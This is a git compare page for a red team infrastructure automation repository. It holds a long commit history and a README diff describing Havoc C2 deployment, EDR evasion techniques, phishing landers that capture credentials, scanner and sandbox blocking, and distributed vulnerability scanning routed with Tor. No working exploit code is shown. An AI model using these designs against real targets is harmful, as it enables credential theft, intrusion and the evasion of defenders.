Compare commits

141 Commits

Author SHA1 Message Date
n0mad1k 217682ecce Sanitize for public CoM release: remove audit PII, operator paths, homelab IPs, fix submodule URL 2026-06-25 12:27:37 -04:00
n0mad1k 92bc8ff921 Add audit reports and fix plan for DevTrack #1259 2026-06-25 10:26:46 -04:00
n0mad1k d287e2b009 Fix P1/P2 audit findings: shell-escape upload cmds, parameterize okta PII, harden JS parsing, restrict PHP to capture.php, tojson redirect_url 2026-06-25 10:25:35 -04:00
n0mad1k 5ef2b7ada4 Add security audit for DevTrack #1259 (phishing module lander expansion) 2026-06-25 10:22:54 -04:00
n0mad1k 459a76f91c Add robots noarchive meta and headless browser detection to all page templates 2026-06-25 10:20:27 -04:00
n0mad1k 9ff8c94987 Add X-Robots-Tag header and scanner UA blocking to phishing nginx config 2026-06-25 10:19:47 -04:00
n0mad1k 5e584a9cde Wire lander prompt and post-deploy generation into phishing workflow 2026-06-25 10:19:33 -04:00
n0mad1k 4d011e2d96 Add trusted-cloud lander generator with TDS and RId-preserving JS redirect 2026-06-25 10:19:10 -04:00
n0mad1k aa303cae8c Validate tuning inputs; remove dead pass block (audit fixes #989)
- _prompt() clamps non-positive tuning values to default with operator warning
  (HIGH from AUDIT_SEC_989: prevents garbage display when vars file has
  masscan_rate: -100 or nuclei_concurrency: 0)
- Remove empty 'if scan_mode in (...): pass' placeholder left from refactor
  (P3 from AUDIT_CODE_989)
- Add AUDIT_CODE/SEC/ENV_989.md and FIXES_989.md with skip justifications
  (path traversal not applicable to single-operator threat model;
  Tor wording already adequate; estimate disclosure interactive-only)
2026-05-03 06:49:16 -04:00
n0mad1k 10c86e8eda Phase-accurate webrunner cost/time estimator with masscan-Tor OPSEC warnings
Estimator rewrite:
- Phase-decomposed estimate_scan_hours: masscan, nmap-only, nmap-fingerprint,
  probe, nuclei phases each timed separately
- Accepts 6 tuning params (nmap_timing, nmap_workers, nuclei_rate,
  nuclei_concurrency, hit_rate, use_tor) — was previously ignoring all of them
- nmap-only mode fixed: was underestimated ~100x (treated nmap like packet
  scanning); now uses NMAP_TIME_BY_TIMING table per timing template
- masscan+nuclei mode now properly modeled (was falling through to
  masscan-only formula, missing the nuclei phase entirely)
- Tor multiplier scoped per-phase: applied to nmap/nuclei/probe only.
  Masscan uses raw sockets and Tor cannot proxy raw sockets — was
  previously applying Tor multiplier to masscan rate (incorrect)
- 5min/node provisioning overhead added (matters vs Linode 1h billing min)
- build_estimate_table accepts tuning dict, threads through to engine

Operator-facing changes (deploy_webrunner.py):
- Tuning section moved BEFORE estimate display so numbers reflect actual
  operator choices, not defaults
- Estimate header now shows active tuning values when set
- Caveats block printed below estimate explaining empirical limits
  (hit rate range, nuclei template variance, nmap timing tradeoffs,
  provisioning, billing minimums)
- CRITICAL OPSEC banner displayed when Tor enabled with masscan modes:
  loud red warning that masscan SYN packets bypass Tor and reveal cloud
  node IP. Includes confirmation gate — operator must affirm they
  understand before proceeding. Suggests nmap-only mode for full Tor
  coverage if attribution risk is unacceptable

Why: operator was getting estimates off by 100x for nmap-only and 0%
accurate for masscan+nuclei. Tuning controls were invisible to the
estimator. Tor + masscan was silently broken-by-design (raw sockets
bypass proxychains) without operator awareness.
2026-05-03 06:45:36 -04:00
n0mad1k ee1a6ff8d4 Add masscan+nuclei mode, operator tuning controls, and vars file support to webrunner
- New scan mode: masscan+nuclei — masscan finds open ip:port pairs,
  nuclei runs operator-supplied CVE template against discovered hosts
- Per-country vulnerable host count in merge output via CIDR→country lookup
- Tuning args on every scan: --nmap-timing, --nmap-timeout, --nmap-workers,
  --nuclei-rate, --nuclei-concurrency, --nuclei-timeout, --masscan-rate
- Vars file support: operator provides scan_vars.yaml to pre-fill all
  tuning settings without interactive prompts
- Templates copied to nodes at provision time — no live fetches (OPSEC)
- run_scan.yml passes all tuning args with Ansible defaults as fallback
- configure_node.yml installs nuclei binary + uploads template on demand
- Updated deployment summary shows mode-specific tuning params
- countries-format.md and targets-format.md updated for new capabilities
- scan_vars.yaml.example documents all configurable settings with comments
2026-05-02 14:49:24 -04:00
n0mad1k 9ffdad301a Add audit reports for #980 webrunner nmap parallelization 2026-05-01 11:47:21 -04:00
n0mad1k dec6c33897 Fix webrunner scan time estimate to include nmap phase
estimate_scan_hours() was pure masscan math — zero nmap time modeled.
For masscan+nmap and geo-scout modes with 10K masscan hits, actual nmap
time dominates but was completely invisible in the estimate.

Added nmap phase calculation using empirical constants:
- NMAP_TIME_PER_HOST_SEC = 10 (nmap -sV -T4 per host)
- MASSCAN_HIT_RATE = 0.01 (fraction of IPs with open ports)
- _NMAP_WORKERS = 10 (matches WEBRUNNER_NMAP_WORKERS default)

Also fixed build_estimate_table() partial-chunk overestimation: last
chunk was billed at full preset size regardless of actual IP count,
causing 1.5-2x cost inflation for non-aligned scan ranges.
2026-05-01 11:47:19 -04:00
n0mad1k 4b5db31b6b Parallelize nmap phase in webrunner node scanner
scan_masscan_nmap() and scan_geo_scout() were running nmap serially —
one host at a time with a 60s timeout, turning a 1h estimate into 24h+
for large scans.

Both modes now use ThreadPoolExecutor with 10 workers (configurable via
WEBRUNNER_NMAP_WORKERS env var). geo-scout uses an inner scan_one()
helper to batch nmap + probe_service() per host within the same future.

Also fixed probe_service() bytes format antipattern and removed dead
targets_arg variable from scan_nmap_only().

run_scan.yml converted from command: > folded scalar to command: argv:
list form to prevent argument splitting on space-containing values.
2026-05-01 11:47:12 -04:00
n0mad1k de8288181b Add per-node random regions and AWS parallel provisioning to WEBRUNNER
Each node chunk now carries its own region field, assigned round-robin
across the full provider region list unless the user pinned a specific
region. AWS uses the same async/poll:0 pattern as Linode but with a
serial per-unique-region setup phase (key import + SG) before firing all
creates in parallel. Teardown uses hostvars ec2_region per node so
multi-region AWS teardowns hit the right endpoint. Infisical replaces
interactive credential prompts for both providers. Linode vars.yaml
instance type corrected to g6-nanode-1.
2026-04-30 23:48:36 -04:00
n0mad1k 04e084617f Default Linode instance to nanode-1 — standard-2 was 4x the cost for no gain 2026-04-30 23:27:22 -04:00
n0mad1k 084b19f98e Parallelize WEBRUNNER node provisioning
All Linode creates fire simultaneously via async/poll:0 loop instead of
serial include_tasks. One shared root pass + SSH key generated before
the loop eliminates per-node credential races. async_status collects
all create confirmations before add_host. Play 2 runs with strategy:free
and -f 50 so all nodes configure, scan, and collect results concurrently.

Per-node serial provision file retired — logic is now inline.
2026-04-30 23:21:23 -04:00
n0mad1k 44f7556ad6 Fix node_chunks_file path — Ansible file lookup requires absolute paths 2026-04-30 22:55:28 -04:00
n0mad1k dc006d7265 Pull Linode token from Infisical as default; remove pointless webrunner sub-menu 2026-04-30 22:47:02 -04:00
n0mad1k 94a162f99a Gate WEBRUNNER menu on available provider credentials
Show deployment option only when at least one provider has credentials
configured. Checks LINODE_TOKEN/FLOKINET_API_KEY via Infisical and
AWS creds via env. Displays setup instructions when nothing is found
rather than letting the user launch a deployment that will immediately
fail at provisioning.
2026-04-30 22:40:40 -04:00
n0mad1k 7c362f4f34 Fix secret vars sourced from env, not config copy
create_extra_vars callers pass {**config} copies so linode_token never
landed in the original config dict. Pull provider credentials from the
environment (already set by set_provider_environment) so the temp-file
secret path works regardless of how config was constructed.
2026-04-30 21:24:10 -04:00
n0mad1k f2e726cbfd Route Ansible secrets via temp file instead of extra-vars JSON
Passes linode_token and other secrets to Ansible through a 0o600 temp
file (@tmpfile) rather than the main --extra-vars JSON blob. Fixes
undefined variable errors for provision tasks that reference linode_token
as an Ansible variable, while keeping secrets out of process listings.
Temp file is removed in finally block regardless of outcome.

Also fixes absolute path for node_chunks_file and other logs-relative
paths so Ansible lookup('file', ...) resolves correctly from any
playbook directory.
2026-04-30 21:11:05 -04:00
n0mad1k c9445232b0 Fix play-level when and teardown credential handling in webrunner.yml
Ansible does not support 'when' at the play level — moved
teardown_after_scan condition onto each individual teardown task.
Teardown Linode task now reads token from LINODE_TOKEN env var via
lookup('env') instead of the linode_token extra-var (which is now
filtered out of extra-vars by _SECRET_KEYS). AWS teardown removes
hardcoded aws_access_key/secret_key params — those are already set
as environment vars by set_provider_environment().
2026-04-30 19:08:40 -04:00
n0mad1k b8c9f08de3 Migrate Linode token fallback from vars file to Infisical
deployment_engine.py fallback for missing linode_token now calls
creds get LINODE_TOKEN homelab at runtime instead of loading from
providers/Linode/vars.yaml. Token has been moved to Infisical.
2026-04-30 19:07:19 -04:00
n0mad1k 18039b2600 Fix P1 WEBRUNNER deployment failures and secret leakage
- providers/webrunner.yml: wrap loop_var under loop_control in all three
  provider provision tasks — Ansible was rejecting loop_var as a conflicting
  action statement alongside include_tasks
- deployment_engine.py: strip _SECRET_KEYS (tokens, passwords, api keys)
  from create_extra_vars() — credentials are already set as env vars by
  set_provider_environment(), no need to pass them through --extra-vars
  where they end up in process listings and logs
- deployment_engine.py: remove debug log line that dumped the full
  ansible-playbook command including all extra-vars JSON with live creds
- deployment_engine.py: create deployment log files with 0o600 permissions
  instead of world-readable 0o644
- deploy_webrunner.py: remove load_vars_file() call that was pulling
  phishing module creds (SMTP password, gophish port, domain) into the
  webrunner config dict — all provider creds already collected by
  gather_provider_config()
- deploy_webrunner.py: remove unused select_provider import
- .gitignore: narrow 'deployment*' glob to specific artifact patterns so
  deployment_engine.py is no longer excluded from tracking
2026-04-30 19:04:42 -04:00
n0mad1k 005cbec76f Port format-spec files from geo-scout into webrunner inputs
Enables AI-assisted creation of targets.yaml and countries.yaml — drop either spec into context to generate valid input files
2026-04-30 17:01:04 -04:00
n0mad1k 42749062ba Move Tor prompt before cost estimate and factor Tor latency into estimate table
- Tor choice now appears before the estimate table so the displayed time/cost is accurate
- build_estimate_table accepts use_tor; applies 0.2x rate multiplier for nmap/probe modes
- masscan-only excluded from multiplier (masscan bypasses proxychains via raw sockets)
- Added per-mode warnings explaining which traffic actually routes through Tor
2026-04-30 16:59:24 -04:00
n0mad1k a5dcb5bd75 Remove redundant naming prompt and fix Ansible empty-prefix command failure in webrunner
- Replace get_deployment_name_with_options() call with auto-derived wr-{deployment_id}; user already entered engagement name, second naming menu was noise
- Split run_scan.yml single command with conditional Jinja prefix into two when-gated tasks; empty-string prefix from use_tor=false caused Ansible to fail with return code 4
2026-04-30 16:55:43 -04:00
n0mad1k 72b160a596 Update webrunner bundled target/country profiles with CVE-targeted probes and adversarial nation list 2026-04-30 16:55:08 -04:00
n0mad1k 01d0abe5d5 Fix WEBRUNNER: attack_box format, self-contained CIDR, tools submenu, Tor, teardown
- deploy_webrunner.py: full rewrite following attack_box pattern exactly — auto-generate
  engagement name when blank, select_provider+gather_provider_config per provider (handles
  region selection), separate teardown_after_scan (default=yes) from enhanced_opsec,
  use_tor prompt, bundled YAML defaults, setup_logging+confirm_action+show_naming_relationship
- utils/cidr_resolver.py: self-contained RIR delegation file downloader/parser — downloads
  APNIC/ARIN/RIPE/LACNIC/AFRINIC, caches 24h in ~/.cache/c2itall/cidr/, no geo-scout dep
- utils/chunk_utils.py: remove geo-scout _try_load_geo_scout() dependency, use cidr_resolver
- modules/webrunner/inputs/countries.yaml: bundled default country list (no external dep)
- modules/webrunner/inputs/targets.yaml: bundled default scan targets and ports
- deploy.py: move WEBRUNNER from main menu (item 14) to tools submenu (item 10)
- configure_node.yml: install tor+proxychains4, start tor service, configure proxychains,
  wait for circuit establishment when use_tor=true
- run_scan.yml: prefix command with proxychains4 when use_tor=true
- providers/webrunner.yml: add Play 4 teardown — Linode DELETE + AWS terminate-instances
  using hostvars instance IDs stored during provisioning, conditional on teardown_after_scan
2026-04-30 16:45:41 -04:00
n0mad1k 2c6cbc4cb7 Add WEBRUNNER distributed geo-targeted recon module
Multi-provider (Linode/AWS/FlokiNET) scan orchestration:
- Flatten all country CIDRs, chunk by IP count (sprint/balanced/economy presets)
- Assign chunks round-robin across providers
- Cost+time estimate table before deploy
- Ansible provisions N nodes in parallel, runs masscan/nmap/probe per node
- Results fetched back and merged into unified JSON report
- Scanner IPs logged per engagement for client IR reporting
- Operator IP whitelisting, enhanced OPSEC mode, YAML targets.yaml support
2026-04-30 16:26:45 -04:00
n0mad1k 34ce52650f housekeeping: add .claude/ to .gitignore 2026-04-22 15:22:31 -04:00
n0mad1k aba5c458b1 Revert all UA tagging changes — full rollback to pre-592 state 2026-04-12 07:18:43 -04:00
n0mad1k 183ad8af3d Revert trashpanda changes — out of scope for SIEM UA tagging task 2026-04-12 07:15:26 -04:00
n0mad1k 0f0dcd5dff Remove duplicate nuclei UA header from trashpanda; make UA configurable via env var 2026-04-12 07:04:30 -04:00
n0mad1k 6d14f02dd8 Tag internal nuclei scans with authorized-scan UA to aid SIEM filtering 2026-04-12 06:52:58 -04:00
n0mad1k 2762b0dfb8 Fix 11 bugs found in full codebase review
- deploy_phishing.py: undefined extra_vars on orchestration playbook
- freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable()
- freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call
- certipy-enum.py: password exposed in process list and logs; pass via env var
- cleanup_engine.py: load_vars_file() called with path string, expects provider name
- ioc-u.py: scapy import not guarded; tool crashed if scapy missing
- um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers
- ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var
- recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user
- um-crack.py: missing --scope flag inconsistent with all other Umbra tools
- heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error
2026-04-01 22:11:01 -04:00
n0mad1k 2611221981 Fix ioc-u global declaration order and ops-logger CRLF line endings 2026-04-01 21:52:21 -04:00
n0mad1k 241c09f054 Persist tmux socket outside /tmp on attack boxes
systemd-tmpfiles cleans /tmp on a schedule, wiping the tmux socket
and breaking existing sessions. Set TMUX_TMPDIR to ~/.local/share/tmux
so the socket survives cleanup on both full and quick recon boxes.
2026-03-25 21:32:54 -04:00
n0mad1k 27d512c28f add Chaos C2 deploy module with local/remote/manage options 2026-03-21 21:42:29 -04:00
n0mad1k 1d7de9c518 Add claude-bot integration module to tools menu
New module modules/tools/deploy_claude_bot.py with claude_bot_menu()
entry point. Supports local deploy/uninstall, remote SSH deploy with
auto-generated config.yaml (credentials passed via env vars, not written
to disk), and local/remote systemctl status checks. Wired into deploy.py
tools_menu() as option 8.
2026-03-21 20:30:19 -04:00
n0mad1k d48605fa06 Add ghost_protocol as submodule + auto-clone fallback
- Added ghost_protocol-public as git submodule so it's pulled with
  git clone --recursive
- deploy_phantom() now checks submodule path first, then standalone
  ~/tools/ghost_protocol/, and auto-clones from GitHub as last resort

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-10 14:46:42 -04:00
n0mad1k f7dadf5b83 Got attack box and c2-redirector working 2025-08-21 16:25:00 -04:00
n0mad1k 1450a55e50 working out issues 2025-07-09 21:31:02 -04:00
n0mad1k d4cd8b789b added robust gitignore 2025-07-09 16:16:43 -04:00
n0mad1k 0d53231da2 updated main menu 2025-07-09 16:16:04 -04:00
n0mad1k a6ed515a05 updated paths for restructure 2025-07-09 13:29:54 -04:00
n0mad1k 8673559470 working on phishing 2025-07-09 11:30:04 -04:00
n0mad1k 36de65ba60 Restructure in-progress 2025-07-04 23:48:04 -04:00
n0mad1k 32aad50820 restructuring for easier navigation and modularity 2025-07-04 23:12:39 -04:00
n0mad1k 8743a4cfdf Building out Phishing Capability 2025-07-04 17:07:51 -04:00
n0mad1k 41f7d0b46c working out bugs 2025-05-29 23:40:15 -04:00
n0mad1k a824b34308 fixing little things 2025-05-14 13:22:04 -04:00
n0mad1k 5fbdab4971 fixing port conflicts 2025-05-13 23:01:26 -04:00
n0mad1k 938ddb93a1 fixing nginx redirector site config 2025-05-13 22:21:24 -04:00
n0mad1k 25e08aa8f4 fixing post deployment bugs 2025-05-13 21:29:42 -04:00
n0mad1k 2386cac0ef trying to fix ssh key issue 2025-05-13 14:23:36 -04:00
n0mad1k 67aa819ceb Working on security hardening 2025-05-13 13:11:27 -04:00
n0mad1k e3ad889e16 Deployment for AWS works now 2025-05-13 11:40:11 -04:00
n0mad1k 689993ad5f logging works dont change run_ansible_playbook 2025-05-13 08:21:20 -04:00
n0mad1k ef75e7a476 issue 2025-05-13 08:06:21 -04:00
n0mad1k 810cff1171 working on it 2025-05-12 22:39:58 -04:00
n0mad1k 1534fc0c7c Updating security 2025-05-12 14:58:46 -04:00
n0mad1k 7b7080288a Fixed ssh issue for kali and ssh into tmux 2025-05-12 13:33:46 -04:00
n0mad1k 140dbe6619 fixed ssh issue 2025-05-12 12:13:34 -04:00
n0mad1k e1666a0124 Updated README 2025-05-12 12:03:28 -04:00
n0mad1k c816a74730 fixing aws ssh issue 2025-05-12 10:50:48 -04:00
n0mad1k 381981f954 fixed ssh info section 2025-05-12 10:29:01 -04:00
n0mad1k aa840b55c1 fixed logging 2025-05-12 10:11:08 -04:00
n0mad1k 5efb604c9d Work in progress 2025-05-11 23:09:03 -04:00
n0mad1k 4d7b44ddc0 fixing aws 2025-05-10 16:18:43 -04:00
n0mad1k b6ec49f5a3 working on it 2025-05-10 15:57:23 -04:00
n0mad1k ce5d7c4fb7 working on it 2025-05-10 15:14:10 -04:00
n0mad1k f4e24edf9b working on bugs 2025-05-08 16:50:04 -04:00
n0mad1k c61b810bbc working on aws again 2025-05-08 16:34:49 -04:00
n0mad1k 3fc22c61b3 Changed script to have a menu 2025-05-08 16:17:30 -04:00
n0mad1k 89f5e7cfb4 working on ssh issue for aws 2025-05-03 20:33:42 -04:00
n0mad1k 358b82a1a5 working on aws still but deployment works 2025-05-03 00:36:37 -04:00
n0mad1k 3bb2ec107d working on aws 2025-05-02 23:43:26 -04:00
n0mad1k ecd5b39fb6 still working 2025-05-02 12:22:49 -04:00
n0mad1k f6d08e84eb still working on aws 2025-05-02 12:06:09 -04:00
n0mad1k a86f9a9d25 working on aws 2025-05-02 11:01:04 -04:00
n0mad1k c7348a952a working on AWS 2025-05-02 10:01:07 -04:00
n0mad1k e3fe2b0509 reworked regions and started work on aws 2025-05-01 23:43:43 -04:00
n0mad1k 9e9383eeef fixed payload sync and motd 2025-05-01 22:39:02 -04:00
n0mad1k 6b60b94768 Adding payload service to redirector 2025-05-01 15:45:29 -04:00
n0mad1k 7ab381794b fixed redundant region question 2025-05-01 15:21:44 -04:00
n0mad1k c717e0b0f1 fixed havoc config template 2025-05-01 14:53:32 -04:00
n0mad1k 8396d2fe65 working on bugs 2025-04-28 15:18:03 -04:00
n0mad1k c5b46c61a6 made mutation of c2 manual 2025-04-25 06:38:20 -04:00
n0mad1k 9f49b52ff6 getting the c2 running 2025-04-24 14:52:50 -04:00
n0mad1k 2a8502a30c ssh working now 2025-04-24 11:52:50 -04:00
n0mad1k c05a88c456 Deployment works need to fix ssh after and IP grab 2025-04-24 10:58:22 -04:00
n0mad1k 29f5bca435 unfucked the havoc_installer 2025-04-24 06:24:43 -04:00
n0mad1k 4e895f4eb1 wotking on the havoc install 2025-04-24 04:48:42 -04:00
n0mad1k 57e2a6e90b fixing 2025-04-23 12:21:11 -04:00
n0mad1k ea8a578422 fixing issues 2025-04-23 10:26:07 -04:00
n0mad1k 00fd299dc6 fix 2025-04-23 10:10:06 -04:00
n0mad1k 8639e90d28 changed log names to match server names 2025-04-23 10:01:50 -04:00
n0mad1k 3bd1ecfca2 fixing 2025-04-23 09:50:58 -04:00
n0mad1k 3f33765834 working out the bugs 2025-04-23 09:31:19 -04:00
n0mad1k 6cce22c0b7 working through issues 2025-04-22 23:29:59 -04:00
n0mad1k 053db78837 purging sliver 2025-04-22 22:44:57 -04:00
n0mad1k 7c5e918dab purging sliver some more 2025-04-22 22:28:06 -04:00
n0mad1k 100982f784 fixing old sliver stuff 2025-04-22 22:17:45 -04:00
n0mad1k 9a213420f6 adding EDR evasion steps 2025-04-22 21:16:07 -04:00
n0mad1k 393fc7ec5f switching 2025-04-22 09:59:17 -04:00
n0mad1k 9a0162e21f Switching to Havoc C2 2025-04-21 16:57:37 -04:00
n0mad1k 30626a14bf fixing things 2025-04-21 16:27:35 -04:00
n0mad1k 2086110117 trying to fix it all 2025-04-17 14:55:17 -04:00
n0mad1k 17b9191553 getting closer 2025-04-16 00:49:18 -04:00
n0mad1k d415891db3 keep trying 2025-04-15 22:21:05 -04:00
n0mad1k e2d25badc8 working on getting custom sliver running 2025-04-15 17:00:03 -04:00
n0mad1k 146e056374 getting there 2025-04-15 15:58:28 -04:00
n0mad1k 5520f846ff working on sliver randomizer 2025-04-15 15:00:28 -04:00
n0mad1k 9cd93d90d8 adding evasion to sliver and beacons 2025-04-15 12:29:07 -04:00
n0mad1k dc28ad5d45 Should deploy correctly 2025-04-14 10:19:20 -04:00
n0mad1k b2fdee77b6 making progress 2025-04-14 06:25:26 -04:00
n0mad1k d936575312 working on fixing addons 2025-04-12 22:17:44 -04:00
n0mad1k bd0dcf693c basic deployment of redirector and c2 working 2025-04-12 13:21:31 -04:00
n0mad1k 50dd4f99e4 maybe 2025-04-12 06:50:16 -04:00
n0mad1k 07fd21666b making progress on c2 now 2025-04-11 21:44:57 -04:00
n0mad1k 95602a5df0 redirector working 2025-04-11 21:33:36 -04:00
n0mad1k 7562e3dc44 fingers crossed 2025-04-11 21:10:35 -04:00
n0mad1k 4acb02a88f moved things around 2025-04-11 21:00:11 -04:00
n0mad1k 95f8c18118 sad 2025-04-11 20:28:06 -04:00
n0mad1k 48ff346f02 getting better 2025-04-11 15:06:38 -04:00
n0mad1k 15677f3f91 maybe? 2025-04-11 14:29:28 -04:00
n0mad1k d8b980da07 ahhhh 2025-04-11 14:12:56 -04:00
n0mad1k 5d92761405 trying 2025-04-11 12:46:11 -04:00
n0mad1k 7962c574de why me 2025-04-11 10:12:48 -04:00
n0mad1k a7490bd655 working on it 2025-04-11 09:56:44 -04:00
n0mad1k 4e08f52d77 sigh 2025-04-11 09:04:25 -04:00
n0mad1k 6d307f82d8 Sadge 2025-04-10 13:03:32 -04:00
n0mad1k 19501b84a0 reconfiging everything 2025-04-10 11:45:38 -04:00
n0mad1k 97277b0f64 added var temps 2025-04-10 10:44:28 -04:00
n0mad1k f120cce197 wip 2025-04-10 10:36:53 -04:00
n0mad1k 43a6ddc579 still working out bugs 2025-04-10 06:59:59 -04:00
n0mad1k 80072a6bdc working out bugs 2025-04-09 15:57:22 -04:00
n0mad1k b623e76a5a added files 2025-04-09 15:27:07 -04:00
n0mad1k 241668a84d init 2025-04-09 15:22:21 -04:00
44 changed files with 2363 additions and 370 deletions
+3
View File
@@ -0,0 +1,3 @@
[submodule "ghost_protocol"]
path = ghost_protocol
url = https://git.churchofmalware.org/n0mad1k/CoM-ghost_protocol.git
+1 -1
View File
@@ -67,7 +67,7 @@ Some provider utility functions may need verification:
1. **Test the core deployment flow**: 1. **Test the core deployment flow**:
```bash ```bash
cd /opt/redteam/c2itall cd /opt/c2itall
python3 deploy.py python3 deploy.py
# Try option 1 (Deploy C2 Infrastructure) with a test deployment # Try option 1 (Deploy C2 Infrastructure) with a test deployment
``` ```
+173 -174
View File
@@ -1,199 +1,198 @@
# c2itall — Red Team Infrastructure Automation # C2ingRed
Infrastructure-as-Code platform for deploying and managing full red team engagement infrastructure across multiple cloud providers. Built to reduce time-to-operational from hours to minutes while enforcing consistent OPSEC posture across every deployment. A comprehensive automated deployment system for Havoc C2 red team infrastructure.
> **Portfolio note:** This is a sanitized public version. Files containing active TTPs (implant source mutations, payload build pipelines, phishing lures, credential capture logic) have been replaced with documented stubs that describe exactly what each component does and why. The architecture, orchestration layer, and all non-weaponized infrastructure code are intact. ## Overview
--- C2ingRed enables rapid deployment of complete Command and Control (C2) infrastructure with advanced security hardening, EDR evasion capabilities, and operational security features. Built for professional red team operators, this tool uses Infrastructure as Code principles to efficiently set up Havoc C2 servers, redirectors, and additional components.
## What This Is ## Features
Red team engagements require standing up a consistent stack of infrastructure — C2 servers, traffic redirectors, phishing mail infrastructure, payload delivery servers — quickly, correctly, and with OPSEC controls baked in from the first `ssh`. Doing this by hand is error-prone and slow. This tool automates the entire lifecycle: - **Multi-provider Support**: AWS, Linode, and FlokiNET
- **Infrastructure Components**:
- **Provision** cloud nodes across AWS, Linode, or FlokiNET - C2 server with Havoc C2 Framework (dev branch)
- **Harden** each node to a consistent baseline (firewall, fail2ban, log suppression, memory protections) - HTTPS redirectors with security hardening
- **Deploy** role-specific services (Havoc C2, nginx redirectors, Postfix MTA, payload servers) - Email infrastructure with DKIM/DMARC for phishing
- **Configure** the inter-node traffic routing, SSL certs, and DKIM/DMARC records - Email tracking capabilities
- **Teardown** the full stack cleanly when the engagement ends - Automated payload generation and delivery
- Attack boxes (Kali Linux and custom Ubuntu)
The result is reproducible, version-controlled infrastructure — every deployment is documented, every configuration is auditable, and every node reaches the same hardened baseline regardless of who ran the deployment. - **Quick Recon Box** - Streamlined reconnaissance platform (5-8 min deployment)
- **Security Features**:
--- - Zero-logging configuration to minimize evidence
- Memory protection mechanisms
## Architecture - Command history suppression
- Secure exfiltration tunnels
``` - Strong firewall configurations
deploy.py (Rich TUI interactive menu) - Fail2Ban and other defensive measures
- **EDR Evasion**:
├── providers/ - Sleep masking
│ ├── AWS/ — EC2 provisioning, security groups, keypair management - Stack spoofing
│ ├── Linode/ — Linode API node provisioning - AMSI/ETW patching
│ └── FlokiNET/ — Pre-provisioned node integration (bulletproof hosting) - Indirect syscalls
- Binary signature randomization
├── modules/ - **Operational Capabilities**:
│ ├── c2/ — Havoc C2 server deployment + payload pipeline [stubs] - Automated post-exploitation payload building
│ ├── redirectors/ — nginx HTTPS redirectors + credential capture [stubs] - Reverse shell handler with automatic agent deployment
│ ├── phishing/ — Postfix MTA + GoPhish + lure pages [stubs] - Let's Encrypt SSL certificate automation
│ ├── payload-server/ — Encrypted payload hosting + delivery - Payload synchronization between C2 and redirectors
│ ├── attack-box/ — Kali/Ubuntu operator boxes - Port randomization for OPSEC
│ ├── webrunner/ — Distributed cloud scanning infrastructure
│ ├── tracker/ — Email open/click tracking server
│ └── chat-server/ — Encrypted team comms (Matrix/Element)
├── common/
│ ├── files/ — Shared scripts, HID payloads [stubs]
│ └── templates/ — Cross-module Jinja2 templates (stagers, loaders) [stubs]
└── utils/
├── common.py — Shared utilities, ANSI output, helpers
├── ssh_utils.py — SSH connection management, tunneling
└── deployment_engine.py — Ansible playbook execution engine
```
---
## Module Breakdown
### C2 Server (`modules/c2/`)
Deploys a hardened Havoc C2 Framework teamserver. Havoc was chosen over Cobalt Strike for its open source auditability and active development of modern evasion primitives.
**Infrastructure side (intact):**
- Ansible playbooks for full Havoc installation from source
- Teamserver systemd service with automatic restart
- Firewall rules limiting teamserver port exposure to operator IPs only
- Let's Encrypt SSL automation for HTTPS C2 traffic
- Payload synchronization to redirector nodes
**Payload pipeline (stubbed):**
- `implant_mutator.sh` — randomizes Havoc Demon source identifiers (mutex names, pipe names, compile-time strings) before each build to defeat static signatures
- `havoc_mutate.sh` — generates per-engagement randomized Havoc teamserver profiles (sleep jitter, traffic malleable C2 patterns, kill dates)
- `generate_evasive_beacons.sh.j2` — shellcode compile pipeline: cross-compile → encrypt → inject into hollow process template → sign
- `generate_havoc_payloads.sh.j2` — produces EXE, DLL, and raw shellcode variants from a single Demon build
**EDR evasion techniques implemented:**
- Sleep masking (encrypted heap during sleep intervals)
- Stack spoofing (synthetic call stacks to evade call stack analysis)
- AMSI/ETW patching (in-memory patch of scanning hooks before payload execution)
- Indirect syscalls (bypass user-mode API hooks via direct syscall stubs)
- Binary signature randomization per build
### Redirectors (`modules/redirectors/`)
HTTPS redirectors sit in front of the C2 server, forwarding only valid beacon traffic while serving decoy content to scanners and incident responders. They also serve as the phishing landing infrastructure.
**Infrastructure side (intact):**
- nginx reverse proxy configuration with category-matched domain front
- Automatic SSL via Let's Encrypt
- Traffic filtering rules: forward beacons matching URI/User-Agent profile, serve 200 OK decoy to everything else
- Fail2ban tuned for redirector traffic patterns
**Landing page infrastructure (stubbed):**
- `capture.php.j2` — credential capture with transparent redirect; logs POST data and forwards the victim to the legitimate service so the submission appears to succeed
- `fake-login.html.j2` — cloned login page template structure (placeholders for target branding)
### Phishing Infrastructure (`modules/phishing/`)
Deploys a complete phishing mail stack: Postfix MTA, GoPhish campaign manager, and lure page hosting.
**Infrastructure side (intact):**
- Postfix + Dovecot configuration with DKIM signing
- DMARC/SPF record generation instructions
- GoPhish deployment and service configuration
- Email tracking pixel integration
**Lure content (stubbed):**
- Five email templates (file share notification, O365 login prompt, password expiry, security alert, vendor-branded alert) — stubs describe the social engineering angle and urgency framing each uses
- `fedramp-compliance.j2` — FedRAMP-themed lure landing page
### WEBRUNNER (`modules/webrunner/`)
Distributed cloud-based scanning infrastructure. Spins up scan nodes across multiple providers simultaneously, runs recon tasks in parallel, and aggregates results back to a central collection point. Designed to avoid rate-limiting and distribute scan signatures across provider ASNs.
Full implementation intact — this is infrastructure automation, not a weaponized component.
### Attack Box (`modules/attack-box/`)
Provisions operator workboxes (Kali or custom Ubuntu) in cloud providers for pivoting, scanning, and exfil staging. Handles SSH keypair injection, tool installation, and VPN configuration.
### Payload Server (`modules/payload-server/`)
Encrypted payload hosting with one-time-download links, delivery logging, and automatic expiry. Payloads are pulled from the C2 node at deployment time and served via HTTPS with access controls.
---
## Secrets Management
No credentials are hardcoded anywhere. All provider API keys, SSH keypairs, and domain registrar tokens are pulled at runtime from a secrets manager (Infisical). The `creds` CLI fetches them by key name and folder:
```bash
eval $(creds env aws) # exports AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
eval $(creds env linode) # exports LINODE_TOKEN
```
Deployment scripts source these at execution time and never write them to disk.
---
## Deployment Flow
```
1. Select provider + deployment type from interactive menu
2. Provision node(s) via provider API
3. Wait for SSH availability
